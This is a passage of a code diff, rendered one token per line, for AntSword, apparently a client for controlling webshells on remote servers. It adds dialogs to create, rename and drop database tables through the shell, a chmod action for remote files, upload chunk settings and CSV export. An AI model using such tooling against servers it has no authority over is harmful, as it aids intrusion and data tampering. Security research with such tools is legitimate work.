// grid.editCell();
// return true;
// });
toolbar
.
attachEvent
(
'onClick'
,(
tbid
)
=>
{
switch
(
tbid
){
case
"add"
:
let
ncid
=
(
+
new
Date
*
Math
.
random
()).
toString
(
16
).
substr
(
2
,
8
);
grid
.
addRow
(
ncid
,
",,0,0,0,0"
);
let
idx
=
grid
.
getRowIndex
(
ncid
);
grid
.
selectCell
(
idx
,
0
);
grid
.
editCell
();
break
;
case
"delete"
:
var
ncids
=
grid
.
getSelectedId
();
if
(
!
ncids
){
toastr
.
warning
(
LANG
[
'form'
][
'addtable'
][
'delete_not_select'
],
LANG_T
[
'warning'
]);
return
}
let
_ncids
=
ncids
.
split
(
","
);
_ncids
.
map
(
_
=>
{
grid
.
deleteRow
(
_
);
});
break
;
case
"save"
:
let
rids
=
grid
.
getAllRowIds
();
if
(
!
rids
){
toastr
.
warning
(
LANG
[
'form'
][
'addtable'
][
'save_row_is_null'
],
LANG_T
[
'warning'
]);
return
}
let
_rids
=
rids
.
split
(
","
);
let
bdstr
=
""
;
let
pkstr
=
""
;
for
(
var
i
=
0
;
i
<
_rids
.
length
;
i
++
){
let
cvalarr
=
[];
for
(
var
j
=
0
;
j
<
6
;
j
++
){
if
(
grid
.
validateCell
(
_rids
[
i
],
j
)
==
false
){
toastr
.
error
(
LANG
[
'form'
][
'addtable'
][
'cell_valid_error'
](
i
,
j
),
LANG_T
[
'error'
]);
grid
.
selectCell
(
_rids
[
i
],
j
);
grid
.
editCell
();
return
}
var
c
=
grid
.
cells
(
_rids
[
i
],
j
);
cvalarr
[
j
]
=
c
.
getValue
();
}
let
lenstr
=
""
;
let
auto_inc_str
=
""
;
switch
(
cvalarr
[
1
]){
case
"varchar"
:
case
"varbinary"
:
if
(
cvalarr
[
2
]
==
"0"
){
lenstr
=
`(255)`
;
}
else
{
lenstr
=
`(
${
cvalarr
[
2
]}
)`
;
}
break
;
case
"int"
:
case
"integer"
:
if
(
cvalarr
[
5
]
==
"1"
){
auto_inc_str
=
"AUTO_INCREMENT"
;
}
break
;
default
:
break
;
}
let
notnull
=
cvalarr
[
4
]
==
"1"
?
`NOT NULL`
:
(
cvalarr
[
3
]
==
"0"
?
""
:
`NOT NULL`
);
pkstr
+=
cvalarr
[
4
]
==
"0"
?
""
:
`\`
${
cvalarr
[
0
]}
\`,`
;
bdstr
+=
`\t\`
${
cvalarr
[
0
]}
\`
${
cvalarr
[
1
]}${
lenstr
}
${
notnull
}
${
auto_inc_str
}
,\n`
;
}
layer
.
prompt
({
value
:
""
,
title
:
`<i class="fa fa-file-code-o"></i>
${
LANG
[
'form'
][
'addtable'
][
'confirmtitle'
]}
`
},(
value
,
i
,
e
)
=>
{
if
(
!
value
.
match
(
/^
[
a-zA-Z0-9_
]
+$/
)){
toastr
.
error
(
LANG
[
'form'
][
'addtable'
][
'invalid_tablename'
],
LANG_T
[
'error'
]);
return
}
layer
.
close
(
i
);
let
pkres
=
pkstr
.
length
>
0
?
`\tPRIMARY KEY (
${
pkstr
.
substr
(
0
,
pkstr
.
length
-
1
)}
)`
:
""
;
if
(
pkres
.
length
==
0
)
{
bdstr
=
bdstr
.
slice
(
0
,
bdstr
.
lastIndexOf
(
","
));
}
let
rsql
=
`CREATE TABLE IF NOT EXISTS \`
${
value
}
\` (\n
${
bdstr
}
\n
${
pkres
}
\n);`
;
this
.
manager
.
query
.
editor
.
session
.
setValue
(
rsql
);
this
.
execSQLAsync
(
rsql
,
(
res
,
err
)
=>
{
if
(
err
){
toastr
.
error
(
LANG
[
'result'
][
'error'
][
'query'
](
err
[
'status'
]
||
JSON
.
stringify
(
err
)),
LANG_T
[
'error'
]);
return
;
}
let
result
=
this
.
parseResult
(
res
[
'text'
]);
if
(
result
.
datas
[
0
][
0
]
==
'True'
){
toastr
.
success
(
LANG
[
'form'
][
'addtable'
][
'success'
],
LANG_T
[
'success'
]);
this
.
getTables
(
id
,
dbname
);
win
.
close
();
}
else
{
toastr
.
error
(
LANG
[
'form'
][
'addtable'
][
'error'
],
LANG_T
[
'error'
]);
}
});
});
break
;
}
});
break
;
default
:
toastr
.
warning
(
LANG
[
'notsupport'
],
LANG_T
[
'warning'
]);
break
;
}
}
// 修改表名
editTable
()
{
// 获取配置
const
treeselect
=
this
.
tree
.
getSelected
();
const
id
=
treeselect
.
split
(
'::'
)[
1
].
split
(
":"
)[
0
];
let
dbname
=
new
Buffer
(
treeselect
.
split
(
'::'
)[
1
].
split
(
":"
)[
1
],
"base64"
).
toString
();
let
tablename
=
new
Buffer
(
treeselect
.
split
(
'::'
)[
1
].
split
(
":"
)[
2
],
"base64"
).
toString
();
// const hash = (+new Date * Math.random()).toString(16).substr(2, 8);
layer
.
prompt
({
value
:
tablename
,
title
:
`<i class="fa fa-file-code-o"></i>
${
LANG
[
'form'
][
'edittable'
][
'title'
]}
`
},(
value
,
i
,
e
)
=>
{
if
(
!
value
.
match
(
/^
[
a-zA-Z0-9_
]
+$/
)){
toastr
.
error
(
LANG
[
'form'
][
'edittable'
][
'invalid_tablename'
],
LANG_T
[
'error'
]);
return
}
layer
.
close
(
i
);
switch
(
this
.
dbconf
[
'type'
]){
case
"mysqli"
:
case
"mysql"
:
let
sql
=
`RENAME TABLE \`
${
dbname
}
\`.\`
${
tablename
}
\` TO \`
${
dbname
}
\`.\`
${
value
}
\`;`
;
this
.
execSQLAsync
(
sql
,
(
res
,
err
)
=>
{
if
(
err
){
toastr
.
error
(
LANG
[
'result'
][
'error'
][
'query'
](
err
[
'status'
]
||
JSON
.
stringify
(
err
)),
LANG_T
[
'error'
]);
return
;
}
let
result
=
this
.
parseResult
(
res
[
'text'
]);
if
(
result
.
datas
[
0
][
0
]
==
'True'
){
toastr
.
success
(
LANG
[
'form'
][
'edittable'
][
'success'
],
LANG_T
[
'success'
]);
this
.
getTables
(
id
,
dbname
);
}
else
{
toastr
.
error
(
LANG
[
'form'
][
'edittable'
][
'error'
],
LANG_T
[
'error'
]);
}
});
break
;
default
:
toastr
.
warning
(
LANG
[
'notsupport'
],
LANG_T
[
'warning'
]);
break
;
}
});
}
delTable
()
{
// 获取配置
const
treeselect
=
this
.
tree
.
getSelected
();
const
id
=
treeselect
.
split
(
'::'
)[
1
].
split
(
":"
)[
0
];
let
dbname
=
new
Buffer
(
treeselect
.
split
(
'::'
)[
1
].
split
(
":"
)[
1
],
"base64"
).
toString
();
let
tablename
=
new
Buffer
(
treeselect
.
split
(
'::'
)[
1
].
split
(
":"
)[
2
],
"base64"
).
toString
();
layer
.
confirm
(
LANG
[
'form'
][
'deltable'
][
'confirm'
](
tablename
),
{
icon
:
2
,
shift
:
6
,
title
:
LANG
[
'form'
][
'deltable'
][
'title'
]
},
(
_
)
=>
{
layer
.
close
(
_
);
switch
(
this
.
dbconf
[
'type'
]){
case
"mysqli"
:
case
"mysql"
:
let
sql
=
`DROP TABLE \`
${
dbname
}
\`.\`
${
tablename
}
\`;`
;
this
.
execSQLAsync
(
sql
,
(
res
,
err
)
=>
{
if
(
err
){
toastr
.
error
(
LANG
[
'result'
][
'error'
][
'query'
](
err
[
'status'
]
||
JSON
.
stringify
(
err
)),
LANG_T
[
'error'
]);
return
;
}
let
result
=
this
.
parseResult
(
res
[
'text'
]);
if
(
result
.
datas
[
0
][
0
]
==
'True'
){
toastr
.
success
(
LANG
[
'form'
][
'deltable'
][
'success'
],
LANG_T
[
'success'
]);
this
.
getTables
(
id
,
dbname
);
}
else
{
toastr
.
error
(
LANG
[
'form'
][
'deltable'
][
'error'
],
LANG_T
[
'error'
]);
}
});
break
;
default
:
toastr
.
warning
(
LANG
[
'notsupport'
],
LANG_T
[
'warning'
]);
break
;
}
});
}
// 显示表结构
descTable
()
{
const
treeselect
=
this
.
tree
.
getSelected
();
const
id
=
treeselect
.
split
(
'::'
)[
1
].
split
(
":"
)[
0
];
let
dbname
=
new
Buffer
(
treeselect
.
split
(
'::'
)[
1
].
split
(
":"
)[
1
],
"base64"
).
toString
();
let
tablename
=
new
Buffer
(
treeselect
.
split
(
'::'
)[
1
].
split
(
":"
)[
2
],
"base64"
).
toString
();
switch
(
this
.
dbconf
[
'type'
]){
case
"mysqli"
:
case
"mysql"
:
let
sql
=
`DESC \`
${
dbname
}
\`.\`
${
tablename
}
\`;`
;
this
.
manager
.
query
.
editor
.
session
.
setValue
(
sql
);
this
.
execSQL
(
sql
);
break
;
default
:
toastr
.
warning
(
LANG
[
'notsupport'
],
LANG_T
[
'warning'
]);
break
;
}
}
showcreateTable
()
{
const
treeselect
=
this
.
tree
.
getSelected
();
const
id
=
treeselect
.
split
(
'::'
)[
1
].
split
(
":"
)[
0
];
let
dbname
=
new
Buffer
(
treeselect
.
split
(
'::'
)[
1
].
split
(
":"
)[
1
],
"base64"
).
toString
();
let
tablename
=
new
Buffer
(
treeselect
.
split
(
'::'
)[
1
].
split
(
":"
)[
2
],
"base64"
).
toString
();
switch
(
this
.
dbconf
[
'type'
]){
case
"mysqli"
:
case
"mysql"
:
let
sql
=
`SHOW CREATE TABLE \`
${
dbname
}
\`.\`
${
tablename
}
\`;`
;
this
.
manager
.
query
.
editor
.
session
.
setValue
(
sql
);
this
.
execSQL
(
sql
);
break
;
default
:
toastr
.
warning
(
LANG
[
'notsupport'
],
LANG_T
[
'warning'
]);
break
;
}
}
// TODO: 新增列
addColumn
()
{
// 获取配置
const
treeselect
=
this
.
tree
.
getSelected
();
const
id
=
treeselect
.
split
(
'::'
)[
1
].
split
(
":"
)[
0
];
let
dbname
=
new
Buffer
(
treeselect
.
split
(
'::'
)[
1
].
split
(
":"
)[
1
],
"base64"
).
toString
();
let
tablename
=
new
Buffer
(
treeselect
.
split
(
'::'
)[
1
].
split
(
":"
)[
2
],
"base64"
).
toString
();
let
columnname
=
new
Buffer
(
treeselect
.
split
(
'::'
)[
1
].
split
(
":"
)[
3
],
"base64"
).
toString
();
}
// TODO: 编辑列
editColumn
()
{
// 获取配置
const
treeselect
=
this
.
tree
.
getSelected
();
const
id
=
treeselect
.
split
(
'::'
)[
1
].
split
(
":"
)[
0
];
let
dbname
=
new
Buffer
(
treeselect
.
split
(
'::'
)[
1
].
split
(
":"
)[
1
],
"base64"
).
toString
();
let
tablename
=
new
Buffer
(
treeselect
.
split
(
'::'
)[
1
].
split
(
":"
)[
2
],
"base64"
).
toString
();
let
columnname
=
new
Buffer
(
treeselect
.
split
(
'::'
)[
1
].
split
(
":"
)[
3
],
"base64"
).
toString
();
let
columntyperaw
=
this
.
tree
.
getSelectedItemText
();
let
columntype
=
null
;
var
ctypereg
=
new
RegExp
(
columnname
+
'
\\
s
\\
((.+?
\\
))
\\
)'
);
var
res
=
columntyperaw
.
match
(
ctypereg
);
if
(
res
.
length
==
2
)
{
columntype
=
res
[
1
];
}
if
(
columntype
==
null
)
{
toastr
.
error
(
LANG
[
'form'
][
'editcolumn'
][
'get_column_type_error'
],
LANG_T
[
'error'
]);
return
}
layer
.
prompt
({
value
:
columnname
,
title
:
`<i class="fa fa-file-code-o"></i>
${
LANG
[
'form'
][
'editcolumn'
][
'title'
]}
`
},(
value
,
i
,
e
)
=>
{
if
(
!
value
.
match
(
/^
[
a-zA-Z0-9_
]
+$/
)){
toastr
.
error
(
LANG
[
'form'
][
'editcolumn'
][
'invalid_tablename'
],
LANG_T
[
'error'
]);
return
}
layer
.
close
(
i
);
switch
(
this
.
dbconf
[
'type'
]){
case
"mysqli"
:
case
"mysql"
:
let
sql
=
`ALTER TABLE \`
${
dbname
}
\`.\`
${
tablename
}
\` CHANGE COLUMN \`
${
columnname
}
\` \`
${
value
}
\`
${
columntype
}
;`
;
this
.
manager
.
query
.
editor
.
session
.
setValue
(
sql
);
this
.
execSQLAsync
(
sql
,
(
res
,
err
)
=>
{
if
(
err
){
toastr
.
error
(
LANG
[
'result'
][
'error'
][
'query'
](
err
[
'status'
]
||
JSON
.
stringify
(
err
)),
LANG_T
[
'error'
]);
return
;
}
let
result
=
this
.
parseResult
(
res
[
'text'
]);
if
(
result
.
datas
[
0
][
0
]
==
'True'
){
toastr
.
success
(
LANG
[
'form'
][
'editcolumn'
][
'success'
],
LANG_T
[
'success'
]);
this
.
getColumns
(
id
,
dbname
,
tablename
);
}
else
{
toastr
.
error
(
LANG
[
'form'
][
'editcolumn'
][
'error'
],
LANG_T
[
'error'
]);
}
});
break
;
default
:
toastr
.
warning
(
LANG
[
'notsupport'
],
LANG_T
[
'warning'
]);
break
;
}
});
}
delColumn
()
{
// 获取配置
const
treeselect
=
this
.
tree
.
getSelected
();
const
id
=
treeselect
.
split
(
'::'
)[
1
].
split
(
":"
)[
0
];
let
dbname
=
new
Buffer
(
treeselect
.
split
(
'::'
)[
1
].
split
(
":"
)[
1
],
"base64"
).
toString
();
let
tablename
=
new
Buffer
(
treeselect
.
split
(
'::'
)[
1
].
split
(
":"
)[
2
],
"base64"
).
toString
();
let
columnname
=
new
Buffer
(
treeselect
.
split
(
'::'
)[
1
].
split
(
":"
)[
3
],
"base64"
).
toString
();
layer
.
confirm
(
LANG
[
'form'
][
'delcolumn'
][
'confirm'
](
columnname
),
{
icon
:
2
,
shift
:
6
,
title
:
LANG
[
'form'
][
'delcolumn'
][
'title'
]
},
(
_
)
=>
{
layer
.
close
(
_
);
switch
(
this
.
dbconf
[
'type'
]){
case
"mysqli"
:
case
"mysql"
:
let
sql
=
`ALTER TABLE \`
${
dbname
}
\`.\`
${
tablename
}
\` DROP
${
columnname
}
;`
;
this
.
execSQLAsync
(
sql
,
(
res
,
err
)
=>
{
if
(
err
){
toastr
.
error
(
LANG
[
'result'
][
'error'
][
'query'
](
err
[
'status'
]
||
JSON
.
stringify
(
err
)),
LANG_T
[
'error'
]);
return
;
}
let
result
=
this
.
parseResult
(
res
[
'text'
]);
if
(
result
.
datas
[
0
][
0
]
==
'True'
){
toastr
.
success
(
LANG
[
'form'
][
'delcolumn'
][
'success'
],
LANG_T
[
'success'
]);
this
.
getColumns
(
id
,
dbname
,
tablename
);
}
else
{
toastr
.
error
(
LANG
[
'form'
][
'delcolumn'
][
'error'
],
LANG_T
[
'error'
]);
}
});
break
;
default
:
toastr
.
warning
(
LANG
[
'notsupport'
],
LANG_T
[
'warning'
]);
break
;
}
});
}
// 获取数据库列表
// 获取数据库列表
getDatabases
(
id
)
{
getDatabases
(
id
)
{
this
.
manager
.
list
.
layout
.
progressOn
();
this
.
manager
.
list
.
layout
.
progressOn
();
...
@@ -549,6 +1364,24 @@ class PHP {
...
@@ -549,6 +1364,24 @@ class PHP {
});
});
}
}
// 执行SQL
execSQLAsync
(
sql
,
callback
)
{
this
.
core
.
request
(
this
.
core
[
`database_
${
this
.
dbconf
[
'type'
]}
`
].
query
({
host
:
this
.
dbconf
[
'host'
],
user
:
this
.
dbconf
[
'user'
],
passwd
:
this
.
dbconf
[
'passwd'
],
db
:
this
.
dbconf
[
'database'
],
sql
:
sql
,
encode
:
this
.
dbconf
[
'encode'
]
||
'utf8'
})
).
then
((
res
)
=>
{
callback
(
res
,
null
);
}).
catch
((
err
)
=>
{
callback
(
null
,
err
);
});
}
// 执行SQL
// 执行SQL
execSQL
(
sql
)
{
execSQL
(
sql
)
{
this
.
manager
.
query
.
layout
.
progressOn
();
this
.
manager
.
query
.
layout
.
progressOn
();
...
@@ -573,6 +1406,38 @@ class PHP {
...
@@ -573,6 +1406,38 @@ class PHP {
});
});
}
}
parseResult
(
data
)
{
// 1.分割数组
const
arr
=
data
.
split
(
'
\
n'
);
// 2.判断数据
if
(
arr
.
length
<
2
)
{
return
toastr
.
error
(
LANG
[
'result'
][
'error'
][
'parse'
],
LANG_T
[
'error'
]);
};
// 3.行头
let
header_arr
=
arr
[
0
].
split
(
'
\
t|
\
t'
);
if
(
header_arr
.
length
===
1
)
{
return
toastr
.
warning
(
LANG
[
'result'
][
'error'
][
'noresult'
],
LANG_T
[
'warning'
]);
};
if
(
header_arr
[
header_arr
.
length
-
1
]
===
'
\
r'
)
{
header_arr
.
pop
();
};
arr
.
shift
();
// 4.数据
let
data_arr
=
[];
arr
.
map
((
_
)
=>
{
let
_data
=
_
.
split
(
'
\
t|
\
t'
);
for
(
let
i
=
0
;
i
<
_data
.
length
;
i
++
)
{
_data
[
i
]
=
antSword
.
noxss
(
new
Buffer
(
_data
[
i
],
"base64"
).
toString
());
}
data_arr
.
push
(
_data
);
});
data_arr
.
pop
();
return
{
headers
:
header_arr
,
datas
:
data_arr
}
}
// 更新SQL执行结果
// 更新SQL执行结果
updateResult
(
data
)
{
updateResult
(
data
)
{
// 1.分割数组
// 1.分割数组
...
@@ -595,7 +1460,7 @@ class PHP {
...
@@ -595,7 +1460,7 @@ class PHP {
arr
.
map
((
_
)
=>
{
arr
.
map
((
_
)
=>
{
let
_data
=
_
.
split
(
'
\
t|
\
t'
);
let
_data
=
_
.
split
(
'
\
t|
\
t'
);
for
(
let
i
=
0
;
i
<
_data
.
length
;
i
++
)
{
for
(
let
i
=
0
;
i
<
_data
.
length
;
i
++
)
{
_data
[
i
]
=
antSword
.
noxss
(
new
Buffer
(
_data
[
i
],
"base64"
).
toString
());
_data
[
i
]
=
antSword
.
noxss
(
new
Buffer
(
_data
[
i
],
"base64"
).
toString
()
,
false
);
}
}
data_arr
.
push
(
_data
);
data_arr
.
push
(
_data
);
});
});
...
@@ -604,8 +1469,10 @@ class PHP {
...
@@ -604,8 +1469,10 @@ class PHP {
const
grid
=
this
.
manager
.
result
.
layout
.
attachGrid
();
const
grid
=
this
.
manager
.
result
.
layout
.
attachGrid
();
grid
.
clearAll
();
grid
.
clearAll
();
grid
.
setHeader
(
header_arr
.
join
(
','
).
replace
(
/,$/
,
''
));
grid
.
setHeader
(
header_arr
.
join
(
','
).
replace
(
/,$/
,
''
));
grid
.
setColTypes
(
"txt,"
.
repeat
(
header_arr
.
length
).
replace
(
/,$/
,
''
));
grid
.
setColSorting
((
'str,'
.
repeat
(
header_arr
.
length
)).
replace
(
/,$/
,
''
));
grid
.
setColSorting
((
'str,'
.
repeat
(
header_arr
.
length
)).
replace
(
/,$/
,
''
));
grid
.
setInitWidths
(
'*'
);
grid
.
setColumnMinWidth
(
100
,
header_arr
.
length
-
1
);
grid
.
setInitWidths
((
"100,"
.
repeat
(
header_arr
.
length
-
1
))
+
"*"
);
grid
.
setEditable
(
true
);
grid
.
setEditable
(
true
);
grid
.
init
();
grid
.
init
();
// 添加数据
// 添加数据
...
@@ -620,13 +1487,31 @@ class PHP {
...
@@ -620,13 +1487,31 @@ class PHP {
'rows'
:
grid_data
'rows'
:
grid_data
},
'json'
);
},
'json'
);
// 启用导出按钮
// 启用导出按钮
// this.manager.result.toolbar[grid_data.length > 0 ? 'enableItem' : 'disableItem']('dump');
this
.
manager
.
result
.
toolbar
[
grid_data
.
length
>
0
?
'enableItem'
:
'disableItem'
](
'dump'
);
}
// 导出查询数据
dumpResult
()
{
const
grid
=
this
.
manager
.
result
.
layout
.
getAttachedObject
();
let
filename
=
`
${
this
.
core
.
__opts__
.
ip
}
_
${
new
Date
().
format
(
"yyyyMMddhhmmss"
)}
.csv`
;
antSword
[
'test'
]
=
this
;
dialog
.
showSaveDialog
({
title
:
LANG
[
'result'
][
'dump'
][
'title'
],
defaultPath
:
filename
},(
filePath
)
=>
{
if
(
!
filePath
)
{
return
;
};
let
headerStr
=
grid
.
hdrLabels
.
join
(
','
);
let
dataStr
=
grid
.
serializeToCSV
();
let
tempDataBuffer
=
new
Buffer
(
headerStr
+
'
\
n'
+
dataStr
);
fs
.
writeFileSync
(
filePath
,
tempDataBuffer
);
toastr
.
success
(
LANG
[
'result'
][
'dump'
][
'success'
],
LANG_T
[
'success'
]);
});
}
}
// 禁用toolbar按钮
// 禁用toolbar按钮
disableToolbar
()
{
disableToolbar
()
{
this
.
manager
.
list
.
toolbar
.
disableItem
(
'del'
);
this
.
manager
.
list
.
toolbar
.
disableItem
(
'del'
);
this
.
manager
.
list
.
toolbar
.
disableItem
(
'edit'
);
this
.
manager
.
list
.
toolbar
.
disableItem
(
'edit'
);
this
.
manager
.
result
.
toolbar
.
disableItem
(
'dump'
);
}
}
// 启用toolbar按钮
// 启用toolbar按钮
...
...
source/modules/filemanager/files.js
View file @
a94c3c48
...
@@ -323,6 +323,9 @@ class Files {
...
@@ -323,6 +323,9 @@ class Files {
// manager.retimeFile(id, this.rowsAr[id]['cells'][2].innerText);
// manager.retimeFile(id, this.rowsAr[id]['cells'][2].innerText);
manager
.
retimeFile
(
id
,
this
.
getRowAttribute
(
_ids
[
0
],
'data'
)[
2
]);
manager
.
retimeFile
(
id
,
this
.
getRowAttribute
(
_ids
[
0
],
'data'
)[
2
]);
}
},
}
},
{
text
:
LANG
[
'grid'
][
'contextmenu'
][
'chmod'
],
icon
:
'fa fa-users'
,
disabled
:
!
id
||
ids
.
length
>
1
,
action
:
()
=>
{
manager
.
chmodFile
(
id
,
this
.
getRowAttribute
(
_ids
[
0
],
'data'
)[
4
]);
}
},
{
divider
:
true
},
{
divider
:
true
},
{
text
:
LANG
[
'grid'
][
'contextmenu'
][
'create'
][
'title'
],
icon
:
'fa fa-plus-circle'
,
subMenu
:
[
{
text
:
LANG
[
'grid'
][
'contextmenu'
][
'create'
][
'title'
],
icon
:
'fa fa-plus-circle'
,
subMenu
:
[
{
text
:
LANG
[
'grid'
][
'contextmenu'
][
'create'
][
'folder'
],
icon
:
'fa fa-folder-o'
,
action
:
manager
.
createFolder
.
bind
(
manager
)
},
{
text
:
LANG
[
'grid'
][
'contextmenu'
][
'create'
][
'folder'
],
icon
:
'fa fa-folder-o'
,
action
:
manager
.
createFolder
.
bind
(
manager
)
},
...
...
source/modules/filemanager/index.js
View file @
a94c3c48
...
@@ -473,6 +473,43 @@ class FileManager {
...
@@ -473,6 +473,43 @@ class FileManager {
})
})
}
}
// 设置文件和目录权限
chmodFile(name, oldmod) {
layer.prompt({
value: oldmod,
title: `<i class="fa fa-users"></i> ${LANG['
chmod
']['
title
']} (${antSword.noxss(name)})`,
}, (value, i, e) => {
if(!value.match(/^[0-7]{4}$/)){
toastr.error(LANG['
chmod
']['
check
'], LANG_T['
error
']);
return
}
this.files.cell.progressOn();
let path = this.path;
if (this.isWin) {
path = path.replace(/
\
//g, '
\\
')
}
// http request
this.core.request(
this.core.filemanager.chmod({
path: path + name,
mode: value
})
).then((res) => {
let ret = res['
text
'];
this.files.cell.progressOff();
if (ret === '
1
') {
this.files.refreshPath();
toastr.success(LANG['
chmod
']['
success
'](name), LANG_T['
success
']);
}else{
toastr.error(LANG['
chmod
']['
error
'](name, ret === '
0
' ? false : ret), LANG_T['
error
']);
}
}).catch((err) => {
toastr.error(LANG['
chmod
']['
error
'](name, err), LANG_T['
error
']);
});
layer.close(i);
});
}
// 预览文件(图片、视频)
// 预览文件(图片、视频)
previewFile(name, size) {
previewFile(name, size) {
let that = this;
let that = this;
...
@@ -490,7 +527,7 @@ class FileManager {
...
@@ -490,7 +527,7 @@ class FileManager {
let down_size = 0;
let down_size = 0;
this.core.download(
this.core.download(
savepath
savepath
,this.core.filemanager.
re
ad_file({path: remote_path})
,this.core.filemanager.
downlo
ad_file({path: remote_path})
, (_size) => {
, (_size) => {
down_size += _size;
down_size += _size;
let down_progress = parseInt(parseFloat(down_size / size).toFixed(2) * 100);
let down_progress = parseInt(parseFloat(down_size / size).toFixed(2) * 100);
...
@@ -659,9 +696,9 @@ class FileManager {
...
@@ -659,9 +696,9 @@ class FileManager {
let buffIndex = 0;
let buffIndex = 0;
let buff = [];
let buff = [];
// 分段上传大小,默认0.5M(jsp 超过1M响应会出错)
// 分段上传大小,默认0.5M(jsp 超过1M响应会出错)
let dataSplit = 5
12
* 1024;
let dataSplit = 5
00
* 1024;
if (
this.opts['
type
'].toLowerCase() === '
php
'
) {
if (
parseInt((this.opts.otherConf || {})['
upload
-
fragment
']) > 0
) {
dataSplit =
1024 * 1024
dataSplit =
parseInt((this.opts.otherConf || {})['
upload
-
fragment
']) * 1024;
}
}
let task = tasks[filePath];
let task = tasks[filePath];
// 获取文件名
// 获取文件名
...
@@ -714,8 +751,32 @@ class FileManager {
...
@@ -714,8 +751,32 @@ class FileManager {
ret === '
0
' ? '' : `<br/>${ret}`
ret === '
0
' ? '' : `<br/>${ret}`
), LANG_T['
error
']);
), LANG_T['
error
']);
}).catch((err) => {
}).catch((err) => {
task.failed(LANG['
upload
']['
task
']['
error
'](err));
// 出错后友好提示
toastr.error(LANG['
upload
']['
error
'](fileName, err), LANG_T['
error
']);
let errmsg = err;
if (err.hasOwnProperty('
status
') && err.hasOwnProperty('
response
')) {
errmsg = `${err.status} ${err.response.res.statusMessage}`;
switch(err.status) {
case 413:
errmsg += `${LANG['
upload
']['
task
']['
httperr_413
']}`;
break;
default:
break;
}
}else if(err.hasOwnProperty('
errno
')) {
switch(err.errno) {
case '
ETIME
':
errmsg = `${LANG['
upload
']['
task
']['
httperr_etime
']}`;
break;
case '
ECONNREFUSED
':
errmsg = `${LANG['
upload
']['
task
']['
httperr_econnrefused
']}`;
break;
default:
errmsg = `${err.errno} ${err.code}`;
break;
}
}
task.failed(LANG['
upload
']['
task
']['
error
'](errmsg));
toastr.error(LANG['
upload
']['
error
'](fileName, errmsg), LANG_T['
error
']);
});
});
})
})
}
}
...
...
source/modules/settings/about.js
View file @
a94c3c48
...
@@ -20,7 +20,8 @@ class About {
...
@@ -20,7 +20,8 @@ class About {
<h2>
${
LANG
[
'header'
]}
<span> v
${
antSword
[
'package'
][
'version'
]}
</span></h2>
<h2>
${
LANG
[
'header'
]}
<span> v
${
antSword
[
'package'
][
'version'
]}
</span></h2>
<p>
<p>
<a href="https://github.com/AntSwordProject/AntSword"><i class="fa fa-github-alt"></i> GitHub</a> /
<a href="https://github.com/AntSwordProject/AntSword"><i class="fa fa-github-alt"></i> GitHub</a> /
<a href="http://doc.u0u.us"><i class="fa fa-book"></i>
${
LANG
[
'document'
]}
</a>
<a href="http://doc.u0u.us"><i class="fa fa-book"></i>
${
LANG
[
'document'
]}
</a> /
<a href="https://discord.gg/Uzh5nUf"><i class="fa fa-comments"></i>
${
LANG
[
'discord'
]}
</a>
</p>
</p>
</div>
</div>
`
);
`
);
...
...
source/modules/shellmanager/list/form.js
View file @
a94c3c48
...
@@ -278,6 +278,7 @@ class Form {
...
@@ -278,6 +278,7 @@ class Form {
'ignore-https'
:
0
,
'ignore-https'
:
0
,
'terminal-cache'
:
0
,
'terminal-cache'
:
0
,
'filemanager-cache'
:
1
,
'filemanager-cache'
:
1
,
'upload-fragment'
:
'500'
,
'request-timeout'
:
'10000'
,
'request-timeout'
:
'10000'
,
'command-path'
:
''
'command-path'
:
''
},
arg
.
otherConf
);
},
arg
.
otherConf
);
...
@@ -294,7 +295,28 @@ class Form {
...
@@ -294,7 +295,28 @@ class Form {
},
{
},
{
type
:
"checkbox"
,
name
:
'filemanager-cache'
,
label
:
LANG
[
'list'
][
'otherConf'
][
'filemanagerCache'
],
type
:
"checkbox"
,
name
:
'filemanager-cache'
,
label
:
LANG
[
'list'
][
'otherConf'
][
'filemanagerCache'
],
checked
:
opt
[
'filemanager-cache'
]
===
1
checked
:
opt
[
'filemanager-cache'
]
===
1
},{
},
{
type
:
"label"
,
label
:
LANG
[
'list'
][
'otherConf'
][
'uploadFragment'
]
},
{
type
:
"combo"
,
label
:
'/kb'
,
inputWidth
:
100
,
name
:
"upload-fragment"
,
options
:
((
items
)
=>
{
let
ret
=
[];
// 如果自定义的路径不在items里,则++
if
(
items
.
indexOf
(
opt
[
'upload-fragment'
])
===
-
1
)
{
items
.
unshift
(
opt
[
'upload-fragment'
]);
}
items
.
map
((
_
)
=>
{
ret
.
push
({
text
:
_
,
value
:
_
,
selected
:
opt
[
'upload-fragment'
]
===
_
})
});
return
ret
;
})([
'500'
,
'400'
,
'200'
,
'100'
,
'50'
,
'10'
])
},
{
type
:
"label"
,
label
:
LANG
[
'list'
][
'otherConf'
][
'requestTimeout'
]
type
:
"label"
,
label
:
LANG
[
'list'
][
'otherConf'
][
'requestTimeout'
]
},
{
},
{
type
:
"combo"
,
label
:
'/ms'
,
inputWidth
:
100
,
name
:
"request-timeout"
,
type
:
"combo"
,
label
:
'/ms'
,
inputWidth
:
100
,
name
:
"request-timeout"
,
...
@@ -308,7 +330,7 @@ class Form {
...
@@ -308,7 +330,7 @@ class Form {
ret
.
push
({
ret
.
push
({
text
:
_
,
text
:
_
,
value
:
_
,
value
:
_
,
selected
:
opt
[
'
command-path
'
]
===
_
selected
:
opt
[
'
request-timeout
'
]
===
_
})
})
});
});
return
ret
;
return
ret
;
...
...
source/modules/viewsite/index.js
View file @
a94c3c48
...
@@ -41,7 +41,7 @@ class ViewSite {
...
@@ -41,7 +41,7 @@ class ViewSite {
},
1000
);
},
1000
);
// 打开浏览窗口
// 打开浏览窗口
this
.
_loadURL
(
opts
.
url
);
//
this._loadURL(opts.url);
}
}
/**
/**
...
@@ -51,9 +51,10 @@ class ViewSite {
...
@@ -51,9 +51,10 @@ class ViewSite {
_initToolbar
()
{
_initToolbar
()
{
const
toolbar
=
this
.
cell
.
attachToolbar
();
const
toolbar
=
this
.
cell
.
attachToolbar
();
toolbar
.
loadStruct
([
toolbar
.
loadStruct
([
{
id
:
'save'
,
type
:
'button'
,
icon
:
'save'
,
text
:
LANG
[
'toolbar'
].
save
},
{
id
:
'url'
,
width
:
400
,
type
:
'buttonInput'
,
value
:
this
.
opts
.
url
||
'loading..'
},
{
type
:
'separator'
},
{
id
:
'view'
,
type
:
'button'
,
icon
:
'chrome'
,
text
:
LANG
[
'toolbar'
].
view
},
{
id
:
'view'
,
type
:
'button'
,
icon
:
'chrome'
,
text
:
LANG
[
'toolbar'
].
view
},
{
type
:
'separator'
},
{
id
:
'save'
,
type
:
'button'
,
icon
:
'save'
,
